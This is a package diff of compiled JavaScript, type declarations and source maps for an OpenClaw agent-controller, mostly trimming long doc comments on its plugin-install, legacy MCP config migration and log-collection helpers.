{"version":3,"file":"knowledge-push.js","sourceRoot":"","sources":["../../src/utils/knowledge-push.ts"],"names":[],"mappings":"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"}
|
|
@@ -1,12 +1,2 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Lift a legacy flat `mcpServers` map at the root of a config file into the
|
|
3
|
-
* canonical nested `mcp.servers`. Existing nested entries win; the flat key is
|
|
4
|
-
* removed. Mutates `fileConfig` in place and returns true when anything moved.
|
|
5
|
-
*
|
|
6
|
-
* OpenClaw's CLI switched to strict schema validation that rejects the unknown
|
|
7
|
-
* top-level `mcpServers` key, so leaving it behind crashes the gateway on
|
|
8
|
-
* startup. The same migration runs against openclaw.json (both at startup and
|
|
9
|
-
* on the scoped-merge path) and against ~/.claude/settings.json, which is why
|
|
10
|
-
* it lives here instead of being copy-pasted into each of them.
|
|
11
|
-
*/
|
|
1
|
+
/** Strict OpenClaw schemas reject legacy mcpServers. Migrate it without replacing existing nested entries. */
|
|
12
2
|
export declare function migrateLegacyMcpServers(fileConfig: Record<string, unknown>, logPrefix: string): boolean;
|
|
@@ -3,17 +3,7 @@ function asPlainObject(v) {
|
|
|
3
3
|
? v
|
|
4
4
|
: null;
|
|
5
5
|
}
|
|
6
|
-
/**
|
|
7
|
-
* Lift a legacy flat `mcpServers` map at the root of a config file into the
|
|
8
|
-
* canonical nested `mcp.servers`. Existing nested entries win; the flat key is
|
|
9
|
-
* removed. Mutates `fileConfig` in place and returns true when anything moved.
|
|
10
|
-
*
|
|
11
|
-
* OpenClaw's CLI switched to strict schema validation that rejects the unknown
|
|
12
|
-
* top-level `mcpServers` key, so leaving it behind crashes the gateway on
|
|
13
|
-
* startup. The same migration runs against openclaw.json (both at startup and
|
|
14
|
-
* on the scoped-merge path) and against ~/.claude/settings.json, which is why
|
|
15
|
-
* it lives here instead of being copy-pasted into each of them.
|
|
16
|
-
*/
|
|
6
|
+
/** Strict OpenClaw schemas reject legacy mcpServers. Migrate it without replacing existing nested entries. */
|
|
17
7
|
export function migrateLegacyMcpServers(fileConfig, logPrefix) {
|
|
18
8
|
const flat = asPlainObject(fileConfig.mcpServers);
|
|
19
9
|
if (!flat)
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"legacy-mcp-servers.js","sourceRoot":"","sources":["../../src/utils/legacy-mcp-servers.ts"],"names":[],"mappings":"AAAA,SAAS,aAAa,CAAC,CAAU;IAC/B,OAAO,OAAO,CAAC,KAAK,QAAQ,IAAI,CAAC,KAAK,IAAI,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,CAAC,CAAC;QAC7D,CAAC,CAAE,CAA6B;QAChC,CAAC,CAAC,IAAI,CAAC;AACX,CAAC;AAED
|
|
1
|
+
{"version":3,"file":"legacy-mcp-servers.js","sourceRoot":"","sources":["../../src/utils/legacy-mcp-servers.ts"],"names":[],"mappings":"AAAA,SAAS,aAAa,CAAC,CAAU;IAC/B,OAAO,OAAO,CAAC,KAAK,QAAQ,IAAI,CAAC,KAAK,IAAI,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,CAAC,CAAC;QAC7D,CAAC,CAAE,CAA6B;QAChC,CAAC,CAAC,IAAI,CAAC;AACX,CAAC;AAED,8GAA8G;AAC9G,MAAM,UAAU,uBAAuB,CACrC,UAAmC,EACnC,SAAiB;IAEjB,MAAM,IAAI,GAAG,aAAa,CAAC,UAAU,CAAC,UAAU,CAAC,CAAC;IAClD,IAAI,CAAC,IAAI;QAAE,OAAO,KAAK,CAAC;IAExB,MAAM,GAAG,GAAG,aAAa,CAAC,UAAU,CAAC,GAAG,CAAC,IAAI,EAAE,CAAC;IAChD,MAAM,MAAM,GAAG,aAAa,CAAC,GAAG,CAAC,OAAO,CAAC,IAAI,EAAE,CAAC;IAEhD,KAAK,MAAM,CAAC,IAAI,EAAE,KAAK,CAAC,IAAI,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,EAAE,CAAC;QACjD,IAAI,CAAC,CAAC,IAAI,IAAI,MAAM,CAAC,EAAE,CAAC;YACtB,MAAM,CAAC,IAAI,CAAC,GAAG,KAAK,CAAC;YACrB,OAAO,CAAC,GAAG,CAAC,GAAG,SAAS,+BAA+B,IAAI,kBAAkB,IAAI,EAAE,CAAC,CAAC;QACvF,CAAC;aAAM,CAAC;YACN,OAAO,CAAC,IAAI,CACV,GAAG,SAAS,gCAAgC,IAAI,6CAA6C,CAC9F,CAAC;QACJ,CAAC;IACH,CAAC;IAED,GAAG,CAAC,OAAO,GAAG,MAAM,CAAC;IACrB,UAAU,CAAC,GAAG,GAAG,GAAG,CAAC;IACrB,OAAO,UAAU,CAAC,UAAU,CAAC;IAC7B,OAAO,IAAI,CAAC;AACd,CAAC"}
|
|
@@ -34,9 +34,7 @@ export class LogCollector {
|
|
|
34
34
|
}
|
|
35
35
|
}
|
|
36
36
|
catch (err) {
|
|
37
|
-
// On failure, put entries back at front of buffer
|
|
38
37
|
this.buffer.unshift(...batch);
|
|
39
|
-
// Cap buffer at 500 to prevent unbounded growth
|
|
40
38
|
if (this.buffer.length > 500) {
|
|
41
39
|
this.buffer.splice(500);
|
|
42
40
|
}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"log-collector.js","sourceRoot":"","sources":["../../src/utils/log-collector.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,cAAc,EAAE,MAAM,eAAe,CAAC;AAU/C,MAAM,OAAO,YAAY;IACf,MAAM,GAAe,EAAE,CAAC;IACxB,KAAK,GAA0B,IAAI,CAAC;IAC3B,eAAe,CAAS;IACxB,YAAY,CAAS;IACrB,GAAG,CAAW;IAE/B,YAAY,GAAa,EAAE,IAA0D;QACnF,IAAI,CAAC,GAAG,GAAG,GAAG,CAAC;QACf,IAAI,CAAC,eAAe,GAAG,IAAI,EAAE,eAAe,IAAI,IAAI,CAAC;QACrD,IAAI,CAAC,YAAY,GAAG,IAAI,EAAE,YAAY,IAAI,EAAE,CAAC;QAC7C,IAAI,CAAC,UAAU,EAAE,CAAC;IACpB,CAAC;IAED,IAAI,CACF,SAAiB,EACjB,KAA0C,EAC1C,OAAe,EACf,QAAkC;QAElC,IAAI,CAAC,MAAM,CAAC,IAAI,CAAC;YACf,SAAS;YACT,KAAK;YACL,OAAO;YACP,QAAQ;YACR,SAAS,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;SACpC,CAAC,CAAC;QACH,IAAI,IAAI,CAAC,MAAM,CAAC,MAAM,IAAI,IAAI,CAAC,YAAY,EAAE,CAAC;YAC5C,IAAI,CAAC,KAAK,EAAE,CAAC,KAAK,CAAC,GAAG,EAAE,GAAE,CAAC,CAAC,CAAC;QAC/B,CAAC;IACH,CAAC;IAED,KAAK,CAAC,KAAK;QACT,IAAI,CAAC,IAAI,CAAC,MAAM,CAAC,MAAM;YAAE,OAAO;QAChC,MAAM,KAAK,GAAG,IAAI,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC;QACpC,IAAI,CAAC;YACH,MAAM,GAAG,GAAG,MAAM,IAAI,CAAC,GAAG,CAAC,IAAI,CAAC,0BAA0B,EAAE,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC,CAAC;YAChF,IAAI,CAAC,GAAG,CAAC,EAAE,EAAE,CAAC;gBACZ,MAAM,IAAI,KAAK,CAAC,QAAQ,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;YACxC,CAAC;QACH,CAAC;QAAC,OAAO,GAAG,EAAE,CAAC;YACb,
|
|
1
|
+
{"version":3,"file":"log-collector.js","sourceRoot":"","sources":["../../src/utils/log-collector.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,cAAc,EAAE,MAAM,eAAe,CAAC;AAU/C,MAAM,OAAO,YAAY;IACf,MAAM,GAAe,EAAE,CAAC;IACxB,KAAK,GAA0B,IAAI,CAAC;IAC3B,eAAe,CAAS;IACxB,YAAY,CAAS;IACrB,GAAG,CAAW;IAE/B,YAAY,GAAa,EAAE,IAA0D;QACnF,IAAI,CAAC,GAAG,GAAG,GAAG,CAAC;QACf,IAAI,CAAC,eAAe,GAAG,IAAI,EAAE,eAAe,IAAI,IAAI,CAAC;QACrD,IAAI,CAAC,YAAY,GAAG,IAAI,EAAE,YAAY,IAAI,EAAE,CAAC;QAC7C,IAAI,CAAC,UAAU,EAAE,CAAC;IACpB,CAAC;IAED,IAAI,CACF,SAAiB,EACjB,KAA0C,EAC1C,OAAe,EACf,QAAkC;QAElC,IAAI,CAAC,MAAM,CAAC,IAAI,CAAC;YACf,SAAS;YACT,KAAK;YACL,OAAO;YACP,QAAQ;YACR,SAAS,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;SACpC,CAAC,CAAC;QACH,IAAI,IAAI,CAAC,MAAM,CAAC,MAAM,IAAI,IAAI,CAAC,YAAY,EAAE,CAAC;YAC5C,IAAI,CAAC,KAAK,EAAE,CAAC,KAAK,CAAC,GAAG,EAAE,GAAE,CAAC,CAAC,CAAC;QAC/B,CAAC;IACH,CAAC;IAED,KAAK,CAAC,KAAK;QACT,IAAI,CAAC,IAAI,CAAC,MAAM,CAAC,MAAM;YAAE,OAAO;QAChC,MAAM,KAAK,GAAG,IAAI,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC;QACpC,IAAI,CAAC;YACH,MAAM,GAAG,GAAG,MAAM,IAAI,CAAC,GAAG,CAAC,IAAI,CAAC,0BAA0B,EAAE,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC,CAAC;YAChF,IAAI,CAAC,GAAG,CAAC,EAAE,EAAE,CAAC;gBACZ,MAAM,IAAI,KAAK,CAAC,QAAQ,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;YACxC,CAAC;QACH,CAAC;QAAC,OAAO,GAAG,EAAE,CAAC;YACb,IAAI,CAAC,MAAM,CAAC,OAAO,CAAC,GAAG,KAAK,CAAC,CAAC;YAC9B,IAAI,IAAI,CAAC,MAAM,CAAC,MAAM,GAAG,GAAG,EAAE,CAAC;gBAC7B,IAAI,CAAC,MAAM,CAAC,MAAM,CAAC,GAAG,CAAC,CAAC;YAC1B,CAAC;YACD,OAAO,CAAC,KAAK,CAAC,+BAA+B,EAAE,cAAc,CAAC,GAAG,CAAC,CAAC,CAAC;QACtE,CAAC;IACH,CAAC;IAED,KAAK,CAAC,QAAQ;QACZ,IAAI,IAAI,CAAC,KAAK;YAAE,aAAa,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;QAC1C,IAAI,CAAC,KAAK,GAAG,IAAI,CAAC;QAClB,MAAM,IAAI,CAAC,KAAK,EAAE,CAAC;IACrB,CAAC;IAEO,UAAU;QAChB,IAAI,CAAC,KAAK,GAAG,WAAW,CAAC,GAAG,EAAE,CAAC,IAAI,CAAC,KAAK,EAAE,CAAC,KAAK,CAAC,GAAG,EAAE,GAAE,CAAC,CAAC,EAAE,IAAI,CAAC,eAAe,CAAC,CAAC;QACnF,IAAI,CAAC,KAAK,CAAC,KAAK,EAAE,CAAC;IACrB,CAAC;CACF"}
|
|
@@ -1,64 +1,17 @@
|
|
|
1
1
|
export declare const AC_PACKAGE = "@openclaw-cloud/agent-controller";
|
|
2
2
|
export declare function fixNpmPermissions(): Promise<void>;
|
|
3
3
|
export declare function withEaccesRetry<T>(fn: () => Promise<T>, label: string): Promise<T>;
|
|
4
|
-
/**
|
|
5
|
-
* Reads `openclaw --version` and returns the first version-like token.
|
|
6
|
-
* Throws when the binary is missing or output cannot be parsed — the caller
|
|
7
|
-
* decides how to translate that into an AgentResponse.
|
|
8
|
-
*/
|
|
9
4
|
export declare function getOpenclawVersion(): Promise<string>;
|
|
10
5
|
export interface InstalledPlugin {
|
|
11
6
|
id: string;
|
|
12
7
|
version: string;
|
|
13
8
|
}
|
|
14
|
-
/**
|
|
15
|
-
* Reads installed plugins from `<stateDir>/openclaw.json` directly.
|
|
16
|
-
*
|
|
17
|
-
* Why prefer the config file over the CLI: the WS `plugin_update` handler
|
|
18
|
-
* (and `agent-update`) writes `plugins.installs.<id>.{spec, version,
|
|
19
|
-
* resolvedVersion}` into the openclaw config; openclaw watches the file
|
|
20
|
-
* and reloads. So the config file is the canonical "what's installed"
|
|
21
|
-
* record — there is no separate package directory we need to enumerate.
|
|
22
|
-
*
|
|
23
|
-
* Reading the file avoids:
|
|
24
|
-
* - 30s-cadence `openclaw plugins list --json` fork+execs from the
|
|
25
|
-
* heartbeat loop, AND
|
|
26
|
-
* - dependency on a specific openclaw CLI version exposing that
|
|
27
|
-
* subcommand at all (older runtimes silently failed → empty list).
|
|
28
|
-
*
|
|
29
|
-
* Returns an empty array on missing file, malformed JSON, or absent
|
|
30
|
-
* `plugins.installs` — heartbeat callers don't want to crash on partial
|
|
31
|
-
* config. Prefers `resolvedVersion` (the post-install actual version)
|
|
32
|
-
* over `version` (the requested spec) when both are present.
|
|
33
|
-
*/
|
|
9
|
+
/** Prefer resolvedVersion over requested version; config inventory can omit bundled or discovered plugins. */
|
|
34
10
|
export declare function listInstalledPluginsFromConfig(): Promise<InstalledPlugin[]>;
|
|
35
|
-
/**
|
|
36
|
-
* Reads the installed plugin list via `openclaw plugins list --json`.
|
|
37
|
-
* Throws on exec failure or malformed JSON, including a stdout snippet so
|
|
38
|
-
* operators can debug from the agent log.
|
|
39
|
-
*
|
|
40
|
-
* 60-second timeout: the CLI has been observed to take 30s+ on cold
|
|
41
|
-
* boot when openclaw warms up its plugin scanner, and a tighter cap
|
|
42
|
-
* caused spurious failures from the heartbeat / installPlugins paths.
|
|
43
|
-
*/
|
|
11
|
+
/** Allow 60s: cold-boot plugin scans can exceed 30s. */
|
|
44
12
|
export declare function listInstalledPlugins(): Promise<InstalledPlugin[]>;
|
|
45
|
-
/**
|
|
46
|
-
* Install a specific openclaw runtime version globally.
|
|
47
|
-
* Skip-fast when `openclaw --version` already matches.
|
|
48
|
-
*
|
|
49
|
-
* `--force` is required: a previous install often leaves the
|
|
50
|
-
* `/usr/local/bin/openclaw` symlink owned by a different user (or
|
|
51
|
-
* untracked by the new package metadata), which makes a plain
|
|
52
|
-
* `npm install -g openclaw@<v>` fail with `EEXIST: file already exists`.
|
|
53
|
-
* The flag tells npm to overwrite the existing link instead of bailing.
|
|
54
|
-
*/
|
|
13
|
+
/** --force replaces stale or differently owned npm symlinks that otherwise fail with EEXIST. */
|
|
55
14
|
export declare function installOpenclaw(version: string): Promise<boolean>;
|
|
56
|
-
/**
|
|
57
|
-
* Install a specific plugin version. When `alreadyInstalled` is provided,
|
|
58
|
-
* skip-fast if that array already lists the plugin at the target version.
|
|
59
|
-
* The caller can fetch the list once via {@link listInstalledPlugins} and
|
|
60
|
-
* thread it through a multi-plugin install loop to avoid N×CLI round-trips.
|
|
61
|
-
*/
|
|
62
15
|
export declare function installPlugin(id: string, version: string, alreadyInstalled?: InstalledPlugin[]): Promise<boolean>;
|
|
63
16
|
export interface InstallPluginsResult {
|
|
64
17
|
installed: string[];
|
|
@@ -69,31 +22,11 @@ export interface InstallPluginsResult {
|
|
|
69
22
|
}>;
|
|
70
23
|
}
|
|
71
24
|
/**
|
|
72
|
-
*
|
|
73
|
-
*
|
|
74
|
-
* per-plugin failures are recorded but do not abort the rest of the
|
|
75
|
-
* batch (poison-pill protection).
|
|
76
|
-
*
|
|
77
|
-
* Why CLI not config-file: the config file's `plugins.installs` block
|
|
78
|
-
* is incomplete in practice (bundled / compat-discovered plugins are
|
|
79
|
-
* absent, and openclaw itself sometimes rewrites the file without
|
|
80
|
-
* preserving installs), so a config-driven skip-cache under-reports
|
|
81
|
-
* what's actually loaded and forces every install to re-run with
|
|
82
|
-
* `--force`. The CLI is the source of truth.
|
|
83
|
-
*
|
|
84
|
-
* If the CLI throws we still try every install — the per-plugin
|
|
85
|
-
* `installPlugin --force` will overwrite cleanly.
|
|
25
|
+
* Probe CLI once: plugins.installs can omit bundled/discovered plugins and force needless reinstalls.
|
|
26
|
+
* If inventory fails, try installs anyway; isolate each failure so one plugin cannot abort the batch.
|
|
86
27
|
*/
|
|
87
28
|
export declare function installPlugins(plugins: Array<{
|
|
88
29
|
id: string;
|
|
89
30
|
version: string;
|
|
90
31
|
}>): Promise<InstallPluginsResult>;
|
|
91
|
-
/**
|
|
92
|
-
* Install a specific agent-controller version globally. Caller passes the
|
|
93
|
-
* known current version (typically derived from package.json at boot). This
|
|
94
|
-
* lets us avoid a redundant npm install when the WS payload echoes the
|
|
95
|
-
* version we already run.
|
|
96
|
-
*
|
|
97
|
-
* Returns `true` when the install ran, `false` when skipped.
|
|
98
|
-
*/
|
|
99
32
|
export declare function installAcSelf(version: string, currentVersion: string): Promise<boolean>;
|
|
@@ -1,13 +1,3 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Shared module for openclaw-cli operations (version reads, plugin/runtime
|
|
3
|
-
* installs). Used by:
|
|
4
|
-
* - src/commands/self-update.ts (CLI legacy + explicit-payload self-update)
|
|
5
|
-
* - src/handlers/self-update.ts (WS self_update handler)
|
|
6
|
-
* - src/handlers/agent-update.ts (WS agent_update handler)
|
|
7
|
-
* - src/handlers/plugin-update.ts (WS plugin_update handler)
|
|
8
|
-
*
|
|
9
|
-
* NEVER import 'process.env.X' here — use config from '../config.js'.
|
|
10
|
-
*/
|
|
11
1
|
import fs from 'node:fs/promises';
|
|
12
2
|
import path from 'node:path';
|
|
13
3
|
import { execAsync } from './exec.js';
|
|
@@ -15,10 +5,6 @@ import { config } from '../config.js';
|
|
|
15
5
|
import { toErrorMessage } from './response.js';
|
|
16
6
|
const OPENCLAW_PACKAGE = 'openclaw';
|
|
17
7
|
export const AC_PACKAGE = '@openclaw-cloud/agent-controller';
|
|
18
|
-
// ---------------------------------------------------------------------------
|
|
19
|
-
// EACCES self-heal — moved here from src/commands/self-update.ts so that
|
|
20
|
-
// every npm install in the system shares the same retry path.
|
|
21
|
-
// ---------------------------------------------------------------------------
|
|
22
8
|
export async function fixNpmPermissions() {
|
|
23
9
|
const home = config.home;
|
|
24
10
|
console.log('Fixing npm permissions (root-owned files from previous installs)...');
|
|
@@ -43,14 +29,6 @@ export async function withEaccesRetry(fn, label) {
|
|
|
43
29
|
throw err;
|
|
44
30
|
}
|
|
45
31
|
}
|
|
46
|
-
// ---------------------------------------------------------------------------
|
|
47
|
-
// Version reads
|
|
48
|
-
// ---------------------------------------------------------------------------
|
|
49
|
-
/**
|
|
50
|
-
* Reads `openclaw --version` and returns the first version-like token.
|
|
51
|
-
* Throws when the binary is missing or output cannot be parsed — the caller
|
|
52
|
-
* decides how to translate that into an AgentResponse.
|
|
53
|
-
*/
|
|
54
32
|
export async function getOpenclawVersion() {
|
|
55
33
|
let stdout;
|
|
56
34
|
try {
|
|
@@ -60,33 +38,13 @@ export async function getOpenclawVersion() {
|
|
|
60
38
|
const msg = toErrorMessage(err);
|
|
61
39
|
throw new Error(`openclaw --version failed: ${msg}`);
|
|
62
40
|
}
|
|
63
|
-
// Match a SemVer-like token; tolerate prefixes like "openclaw v1.2.3"
|
|
64
41
|
const match = stdout.match(/\d+\.\d+\.\d+(?:[-+][\w.]+)?/);
|
|
65
42
|
if (!match) {
|
|
66
43
|
throw new Error(`openclaw --version returned unparseable output: ${stdout.slice(0, 200)}`);
|
|
67
44
|
}
|
|
68
45
|
return match[0];
|
|
69
46
|
}
|
|
70
|
-
/**
|
|
71
|
-
* Reads installed plugins from `<stateDir>/openclaw.json` directly.
|
|
72
|
-
*
|
|
73
|
-
* Why prefer the config file over the CLI: the WS `plugin_update` handler
|
|
74
|
-
* (and `agent-update`) writes `plugins.installs.<id>.{spec, version,
|
|
75
|
-
* resolvedVersion}` into the openclaw config; openclaw watches the file
|
|
76
|
-
* and reloads. So the config file is the canonical "what's installed"
|
|
77
|
-
* record — there is no separate package directory we need to enumerate.
|
|
78
|
-
*
|
|
79
|
-
* Reading the file avoids:
|
|
80
|
-
* - 30s-cadence `openclaw plugins list --json` fork+execs from the
|
|
81
|
-
* heartbeat loop, AND
|
|
82
|
-
* - dependency on a specific openclaw CLI version exposing that
|
|
83
|
-
* subcommand at all (older runtimes silently failed → empty list).
|
|
84
|
-
*
|
|
85
|
-
* Returns an empty array on missing file, malformed JSON, or absent
|
|
86
|
-
* `plugins.installs` — heartbeat callers don't want to crash on partial
|
|
87
|
-
* config. Prefers `resolvedVersion` (the post-install actual version)
|
|
88
|
-
* over `version` (the requested spec) when both are present.
|
|
89
|
-
*/
|
|
47
|
+
/** Prefer resolvedVersion over requested version; config inventory can omit bundled or discovered plugins. */
|
|
90
48
|
export async function listInstalledPluginsFromConfig() {
|
|
91
49
|
const configPath = path.join(config.stateDir, 'openclaw.json');
|
|
92
50
|
let raw;
|
|
@@ -125,15 +83,7 @@ export async function listInstalledPluginsFromConfig() {
|
|
|
125
83
|
}
|
|
126
84
|
return out;
|
|
127
85
|
}
|
|
128
|
-
/**
|
|
129
|
-
* Reads the installed plugin list via `openclaw plugins list --json`.
|
|
130
|
-
* Throws on exec failure or malformed JSON, including a stdout snippet so
|
|
131
|
-
* operators can debug from the agent log.
|
|
132
|
-
*
|
|
133
|
-
* 60-second timeout: the CLI has been observed to take 30s+ on cold
|
|
134
|
-
* boot when openclaw warms up its plugin scanner, and a tighter cap
|
|
135
|
-
* caused spurious failures from the heartbeat / installPlugins paths.
|
|
136
|
-
*/
|
|
86
|
+
/** Allow 60s: cold-boot plugin scans can exceed 30s. */
|
|
137
87
|
export async function listInstalledPlugins() {
|
|
138
88
|
let stdout;
|
|
139
89
|
try {
|
|
@@ -151,7 +101,6 @@ export async function listInstalledPlugins() {
|
|
|
151
101
|
const msg = toErrorMessage(err);
|
|
152
102
|
throw new Error(`openclaw plugins list --json returned invalid JSON (${msg}): ${stdout.slice(0, 200)}`);
|
|
153
103
|
}
|
|
154
|
-
// Accept either a top-level array or { plugins: [...] }
|
|
155
104
|
const list = Array.isArray(parsed)
|
|
156
105
|
? parsed
|
|
157
106
|
: Array.isArray(parsed.plugins)
|
|
@@ -172,40 +121,19 @@ export async function listInstalledPlugins() {
|
|
|
172
121
|
}
|
|
173
122
|
return out;
|
|
174
123
|
}
|
|
175
|
-
|
|
176
|
-
// Installers — all return `true` if an install actually ran, `false` if the
|
|
177
|
-
// requested version was already present (idempotent skip).
|
|
178
|
-
// ---------------------------------------------------------------------------
|
|
179
|
-
/**
|
|
180
|
-
* Install a specific openclaw runtime version globally.
|
|
181
|
-
* Skip-fast when `openclaw --version` already matches.
|
|
182
|
-
*
|
|
183
|
-
* `--force` is required: a previous install often leaves the
|
|
184
|
-
* `/usr/local/bin/openclaw` symlink owned by a different user (or
|
|
185
|
-
* untracked by the new package metadata), which makes a plain
|
|
186
|
-
* `npm install -g openclaw@<v>` fail with `EEXIST: file already exists`.
|
|
187
|
-
* The flag tells npm to overwrite the existing link instead of bailing.
|
|
188
|
-
*/
|
|
124
|
+
/** --force replaces stale or differently owned npm symlinks that otherwise fail with EEXIST. */
|
|
189
125
|
export async function installOpenclaw(version) {
|
|
190
126
|
let current = null;
|
|
191
127
|
try {
|
|
192
128
|
current = await getOpenclawVersion();
|
|
193
129
|
}
|
|
194
|
-
catch {
|
|
195
|
-
// openclaw missing → fall through and install
|
|
196
|
-
}
|
|
130
|
+
catch { }
|
|
197
131
|
if (current === version) {
|
|
198
132
|
return false;
|
|
199
133
|
}
|
|
200
134
|
await withEaccesRetry(() => execAsync(`npm install -g ${OPENCLAW_PACKAGE}@${version} --force`, 120_000), `npm install -g ${OPENCLAW_PACKAGE}@${version}`);
|
|
201
135
|
return true;
|
|
202
136
|
}
|
|
203
|
-
/**
|
|
204
|
-
* Install a specific plugin version. When `alreadyInstalled` is provided,
|
|
205
|
-
* skip-fast if that array already lists the plugin at the target version.
|
|
206
|
-
* The caller can fetch the list once via {@link listInstalledPlugins} and
|
|
207
|
-
* thread it through a multi-plugin install loop to avoid N×CLI round-trips.
|
|
208
|
-
*/
|
|
209
137
|
export async function installPlugin(id, version, alreadyInstalled) {
|
|
210
138
|
const match = alreadyInstalled?.find((p) => p.id === id);
|
|
211
139
|
if (match && match.version === version) {
|
|
@@ -215,20 +143,8 @@ export async function installPlugin(id, version, alreadyInstalled) {
|
|
|
215
143
|
return true;
|
|
216
144
|
}
|
|
217
145
|
/**
|
|
218
|
-
*
|
|
219
|
-
*
|
|
220
|
-
* per-plugin failures are recorded but do not abort the rest of the
|
|
221
|
-
* batch (poison-pill protection).
|
|
222
|
-
*
|
|
223
|
-
* Why CLI not config-file: the config file's `plugins.installs` block
|
|
224
|
-
* is incomplete in practice (bundled / compat-discovered plugins are
|
|
225
|
-
* absent, and openclaw itself sometimes rewrites the file without
|
|
226
|
-
* preserving installs), so a config-driven skip-cache under-reports
|
|
227
|
-
* what's actually loaded and forces every install to re-run with
|
|
228
|
-
* `--force`. The CLI is the source of truth.
|
|
229
|
-
*
|
|
230
|
-
* If the CLI throws we still try every install — the per-plugin
|
|
231
|
-
* `installPlugin --force` will overwrite cleanly.
